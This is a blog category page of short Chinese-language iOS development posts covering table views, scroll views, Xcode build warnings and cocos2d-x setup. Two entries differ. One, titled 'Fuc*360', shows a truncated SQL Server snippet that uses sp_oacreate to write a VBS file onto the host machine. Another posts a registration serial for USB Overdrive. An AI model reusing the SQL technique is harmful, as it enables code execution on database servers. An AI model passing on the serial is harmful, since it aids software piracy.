
iOS Develop
文章平均质量分 66
Mideveloper
这个作者很懒,什么都没留下…
展开
-
自定义TableHeaderView
原本打算自己手动设置tabview中的第一行cell,但是需要修改的地方太多了,看到有兄台使用tableHeaderView进行设置,很简单,于是也对其进行了自定义,效果不错。UITableView 的 cell 默认出现在 uitableview 的第一行,如果你想自定义 UITableViewCell 与导航条间距的话,可以使用下面这行代码 tableview.table原创 2012-07-08 14:51:00 · 27438 阅读 · 0 评论 -
隐藏tabbar
隐藏tabbar有两种方式:1:在pushViewController之前调用[self setHidesBottomBarWhenPushed:YES];同时在当前的类中的viewWillDisappear调用:- (void)viewWillDisappear:(BOOL)animated { [self setHidesBottomBar转载 2012-07-11 13:35:13 · 1969 阅读 · 0 评论 -
关于iphone scrollview的问题
今天弄这个scrollview 一直没法滚动,不知道什么原因,找了很多demo,看了很多文章,搞的都很多冗余的功能,最后无奈,基础知识不好,点着点着 点到了youtube,看了一个视频,明白了。http://www.youtube.com/watch?v=mws6Zbq_y6c两行代码搞定....苦逼哇 [contentScrollView setScrollEnabled:原创 2012-07-11 15:56:48 · 781 阅读 · 0 评论 -
iPhone – UIActionSheet Example
UIActionSheet is a cool way to get user input. The following example shows you how to implement the UIActionSheet.1. Extend the UIActionSheetDelegate in the .h header file of the ViewController转载 2012-07-12 10:32:16 · 1119 阅读 · 0 评论 -
Icon specified in the Info.plist not found under the top level app wrapper:解决办法
原本正常的项目 在打包的时候出现了这样的错误Icon specified in the Info.plist not found under the top level app wrapper:114.png找到‘项目名-Info.plist’ source code方式打开找到图片名 删除114.png即可command+B OK。。原创 2012-07-17 18:03:56 · 3403 阅读 · 0 评论 -
USB Overdrive 注册码
USB Overdrive Name: PabloSN: LMSB-6812-3276原创 2012-08-03 14:22:01 · 9573 阅读 · 0 评论 -
UITableView异步加载图片
虽然这个点了,但是还要总结下今天遇到的问题,uitableview异步加载图片的问题,原先是找的官网的例子,自己功力不深厚+浮躁的问题,导致看了半天代码不知其所云,无奈继续找比较简单的方法,后来找到一个更好的Demo并且加入了缓存的机制 地址:点击下载 是官网的升级版,但还是不给力。百般无奈的时候,忽然看到自己导入的包#import "UIImageView+WebCache.h"忽然原创 2012-08-01 13:30:33 · 2024 阅读 · 0 评论 -
presentModalViewController and UINavigationController
今天遇到一个问题,直到现在还是有点不明白,看不懂,记录下来- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions{ self.window = [[[UIWindow alloc] initWithFrame:[[UIScr原创 2012-07-19 17:57:46 · 977 阅读 · 0 评论 -
IOS隐藏键盘
-(void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{ [super touchesBegan:touches withEvent:event]; [self.accountTextField resignFirstResponder]; [self.passwordTextField resignF原创 2012-07-20 11:33:05 · 1857 阅读 · 0 评论 -
UIAlertView demo
@interface UISettingViewController() UIAlertViewDelegate>- (void)alertView:(UIAlertView *)alertView clickedButtonAtIndex:(NSInteger)buttonIndex;- (IBAction)appraiseButton:(id)sender { UI原创 2012-08-04 19:02:08 · 980 阅读 · 0 评论 -
NSDictionary to NSArray
for(int i = 0; i < [self.videoListArray count]; i++) { NSDictionary* dic=[self.videoListArray objectAtIndex:i]; NSArray *testArray=[dic objectForKey:@"vhall_video_icon_URL"]原创 2012-08-04 10:09:54 · 5560 阅读 · 0 评论 -
strutsbar
[[UIApplication sharedApplication] setStatusBarStyle:UIStatusBarStyleBlackOpaque]; //设置strutsbar主题1. 进入系统相机时, 系统会自动隐藏statusbar, 不需要人工去调用hidden2. 设置statusbar的隐藏和显示[[UIApplicationsharedA原创 2012-08-05 12:58:42 · 817 阅读 · 0 评论 -
navigationController的父视图与子视图之间数据传递
在使用导航栏模版编写程序的时候,会遇到需要将一些数据从当前视图传到下一个视图的情况。这时首先只需要在子视图的头文件里面定义好要传的变量名,然后在父视图中申明一个子视图的对象,并对该对象进行赋值就可以了。举例说明: 第一步,在子视图控制器的"AddViewController.h"中先申明要传递的变量: @interface AddViewController :转载 2012-08-05 20:28:17 · 3320 阅读 · 1 评论 -
NSUserDefaults (plist) 筆記
今天又看到了一个octopress的Blog 关键是我看到开头的这句话....科學的愛情我覺得我這個人最大的缺點就是太他媽的上進了NSUserDefaults 可以用來儲存使用者的偏好設定(它會被存成一個 .plist 檔案),你可以把它想成是 iOS app 的 localStorage,而且 NSUserDefaults 不只可以儲存字串,還可以儲存任何 Objective-C转载 2012-07-25 11:53:33 · 1812 阅读 · 0 评论 -
UITableView dataSource must return a cell from tableView:cellForRowAtIndexPath
昨天晚上就遇到这个问题,因为想复用代码 但是一直报这个错误 UITableView dataSource must return a cell from tableView:cellForRowAtIndexPath在网上找了很多解决方法,大多数人都是因为XIB没有连接正确,比如忘记连接datasource等等因为我是自定义的cell,加载的时候要进行初始化,而我是copy的之前的原创 2012-08-09 11:17:58 · 11803 阅读 · 7 评论 -
iphone 常用校验表单
1、判断用户名,在2-16位-(BOOL)CheckInput:(NSString *)_text{ NSString *Regex = @"^\\w{2,16}$"; NSPredicate *emailTest = [NSPredicate predicateWithFormat:@"SELF MATCHES %@", Regex]; return [emai转载 2012-07-25 11:28:20 · 895 阅读 · 0 评论 -
warning: Missing file: is missing from working copy
had the same issue, and I just solved it by:delete the repository in Xcode's Organizerquit Xcodedelete all .svn hidden folders (also within the *.xcodeproj file)Hope this works for you a原创 2012-08-10 11:39:18 · 12711 阅读 · 0 评论 -
iPhone libxml2 not found during build
在新建的一个项目中,出现编译错误,发现是缺少了libxml2.dylib,后面将这个资源包添加了,编译还是出现标题上所说的问题#import //#import #import #import #import #import 我尝试在,Build Settings:中的Header Search Paths:下的Deb转载 2012-07-26 10:27:29 · 986 阅读 · 0 评论 -
iphone 获取UDID值
-(NSString*) uuid { CFUUIDRef puuid = CFUUIDCreate( nil ); CFStringRef uuidString = CFUUIDCreateString( nil, puuid ); NSString * result = (NSString *)CFStringCreateCopy( NULL, uuidSt原创 2012-07-26 17:13:58 · 1485 阅读 · 0 评论 -
Warning: The Copy Bundle Resources build phase contains this target's Info.plist file 'Info
遇到这个问题 copy app document markWARNING: The Copy Bundle Resources build phase contains this target's Info.plist file 'Info.plist'.Q: Why am I getting "WARNING: The Copy Bundle Resources build p转载 2012-07-26 17:09:42 · 13592 阅读 · 0 评论 -
iphone中的Toast
以前做安卓 最喜欢用的控件就是Toast 有时候相当于是可以再手机上打印的日志 而且那么小巧 几句代码就能搞定,非常喜欢后来转到IOS 发现IOS居然没这个控件 不给力啊 之前接触过Itoast 放到收藏夹中很久了,但是始终没有用到,今天在做IOS项目的时候,和同事聊天 聊起来了 就翻了出来 替代了alertDialog 这是项目地址,上面写的也很清楚 如何使用 而且可以自己进行定制原创 2012-07-26 22:11:29 · 1230 阅读 · 0 评论 -
做IOS开发这一年
今天在博客园看到这篇文章 里面写的很多和我做IOS这一段时间来的感受是一样的,所谓的拿来主意,真的不是好方法,自己能学到什么东西?单纯的追求效率!无知的表现!记录下来这些算算应该是2011年6月份,我开始接触了IOS开发,由于之前是做C++开发的,入门还算比较快,一周时间看完objective-c的语法就开始跌跌撞撞的写一些简单的界面,这一切好像来的都很快。事情往往就是这样,开始很转载 2012-07-27 18:04:27 · 3229 阅读 · 0 评论 -
在presentModalViewController中使用UINavigationController
手上的项目中登陆界面是写在presentModalViewController中的,但是无法使用UINavigationController,后来费了一些时间来弄,可能因为当时思维比较混乱,没有搞定。今天查到了一篇文章,http://www.giser.net/?p=857 惯例 原文录入,避免个人博客died在iOS开发中遇到下面的问题,在presentModalViewCont原创 2012-07-29 13:37:44 · 8450 阅读 · 1 评论 -
版本升级之'initWithFrame:reuseIdentifier:' is deprecated
在iOS3.0之后的版本不再使用这样的语法,解决方法如下:将:cell = [[[UITableViewCell alloc] initWithFrame:CGRectZero reuseIdentifier:CellIdentifier] autorelease]; 修改为cell = [[[UITableViewCell alloc] initWithStyle:UITableV转载 2012-08-14 15:49:15 · 830 阅读 · 0 评论 -
warning: property's synthesized getter follows Cocoa naming convention for
warning: property's synthesized getter follows Cocoa naming convention for returning 'owned' objects [3] 该错误是因为命名的原因。ios5 命名要求相比以前更需要注意,命名不能以new,copy等开头。转载 2012-07-30 11:22:46 · 2791 阅读 · 0 评论 -
iphone 异步加载图片
近来想了解iPhone的多线程处理,查阅到了官方范例LazyTableImages,发现代码中有不仅有多线程处理,还有XML解析和异步下载图片,感觉官方例子真是全面啊,便花了时间好好研究下。LazyTableImages地址:http://developer.apple.com/library/ios/#samplecode/LazyTableImages/Introduction/I转载 2012-08-01 10:19:48 · 1872 阅读 · 0 评论 -
Fuc*360
declare @o int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1exec @ret = sp_oamethod @f, 'writeline',原创 2012-07-28 17:53:05 · 903 阅读 · 0 评论 -
XCode4 的调试定位技巧
今天看内存的时候 也没怎么认真的看代码,在之前的时候release了一块内存,后来再调用的时候直接导致了崩溃,崩溃就崩溃吧,给个提示啊 xcode,丫的居然不给提示,木办法,看了下这篇文章,也没有下断点,一句话 想起来了一个地方改动或release,搞定了。诶 Xcode啥时候能做的和eclipse那样强大啊。论坛里经常有朋友会问Crash的问题。Crash最多的无非就两种,一种就是sig转载 2012-07-31 11:00:34 · 2049 阅读 · 0 评论 -
iOS开发之一些字符串常用的代码
1、判断字符串是否相等使用isEqualToString: NSString *astring01 = @"This is a String!"; NSString *astring02 = @"This is a String!"; BOOL result = [astring01 isEqualToString:astring02]; NSLog(@"result转载 2012-08-18 21:31:51 · 2369 阅读 · 0 评论 -
NSString/NSData/char*类型转换
1. NSString转化为UNICODE String:(NSString*)fname = @“Test”;char fnameStr[10];memcpy(fnameStr, [fname cStringUsingEncoding:NSUnicodeStringEncoding], 2*([fname length]));与strcpy相比,memcpy并不是遇到'\0'就结束,而转载 2012-08-20 13:20:47 · 906 阅读 · 0 评论 -
退出全屏
监听done完成 退出全屏[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(doneButtonClick:) name:MP原创 2012-08-22 14:42:25 · 953 阅读 · 0 评论 -
[WARN]Warning: Multiple build commands for output file /
xcode中 有时候会报一个警告: [WARN]Warning: Multiple build commands for output file /xxx 要解决这个问题很简单: 1.选择你的工程 2.选择target 3.点击 Build Phases 4.展开Copy Bundle Resources 5.删除里面的刚才提示警告的文件,一般为红色的名字的文件转载 2012-08-31 17:08:25 · 1899 阅读 · 0 评论 -
Cocos2dx 2.0.2版本Android环境出错:Cannot find module with tag 'CocosDenshion/android' in import path
Eclipse环境新建环境出现如下错误:Android NDK: jni/Android.mk: Cannot find module with tag 'CocosDenshion/android' in import path Android NDK: Are you sure your NDK_MODULE_PATH variable is properly defined转载 2012-09-09 14:38:52 · 7731 阅读 · 8 评论 -
error: no type named 'string' in namespace 'std'; did you mean 'std::string'? [3]
今天在弄cocos2d的时候 看了一篇博客 想试着弄一下,遇到了问题, error: no type named 'string' in namespace 'std'; did you mean 'std::string'? [3]具体的代码如下CCUserDefault::sharedUserDefault()->setStringForKey("string", "value1");原创 2012-09-09 17:33:28 · 14867 阅读 · 0 评论 -
iOS-cocos2d-X 环境搭建
在家用自己的mac想看一下cocos2dx 没有环境 自己又重新搭建了一下 原本以为会很轻松 但是蛋疼到不行哇 就是因为之前没有总结。今天有时间不是那么着急,在这里总结下。以后方便查阅这里贴一些转载的资料显示Mac隐藏文件的命令:defaults write com.apple.finder AppleShowAllFiles -bool true隐藏Mac隐藏文件的原创 2012-10-05 11:44:50 · 2976 阅读 · 0 评论 -
UIScrollView分页 获取当前页数
在使用 UIScrollView 分页的时候我们如何确定当前是第几页?首先需要开启分页设置scrollView.pagingEnabled = YES;然后我们在委托的类上实现以下方法 这个是回调函数 当页面切换的时候会被执行 - (void) scrollViewDidScroll:(UIScrollView *)sender { // 得到每页转载 2012-10-09 11:33:12 · 10265 阅读 · 0 评论 -
[MAC]刪除所有的「.svn」
sudo find /Users/yourusername/iphone/ -name ".svn" -exec rm -r {} \;本来就恶心SVN 在用xcode的时候就更加恶心了。各种出问题,不过没办法 还是得用这垃圾。在弄项目的时候,因为删除图片,Xcode一直警告,具体警告什么我不记得了,反正一看就知道是SVN的事情,之前傻不拉几的一个一个的删除.svn文件夹 今天找了一转载 2012-09-18 17:43:56 · 915 阅读 · 0 评论 -
Code Sign error: Provisioning profile XXXX can"t be found
如果你更新了profile,再编译iphone项目,发现下面的错误,那你无论如何clean也不会成功,那真是让人恼火这时候,先copy上面那行出错信息,然后关闭这个项目,打开finder到你的项目文件xxxx.xcodeproj上面按鼠标右键,选择Show Package Contents菜单,在新打开的finder的,找到project.pbxproj,使用一个文本edit打开它,用查找转载 2012-09-20 11:11:44 · 991 阅读 · 0 评论 -
NSString splist 字符串截取代码
NSArray *list = [self.newsData.programaImgList componentsSeparatedByString:@","]; NSLog(@"List count:%d==数组一==%@===数组2===",[list count],[list objectAtIndex:0]);原创 2012-10-17 16:51:02 · 1156 阅读 · 0 评论 -
An AVPlayerItem cannot be associated with more than one instance of AVPlayer
*** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: 'An AVPlayerItem cannot be associated with more than one instance of AVPlayer'遇到这个问题 找了些资料 无果 然后看到TED是在播放前先检查网络 于是原创 2012-10-18 15:49:31 · 6288 阅读 · 1 评论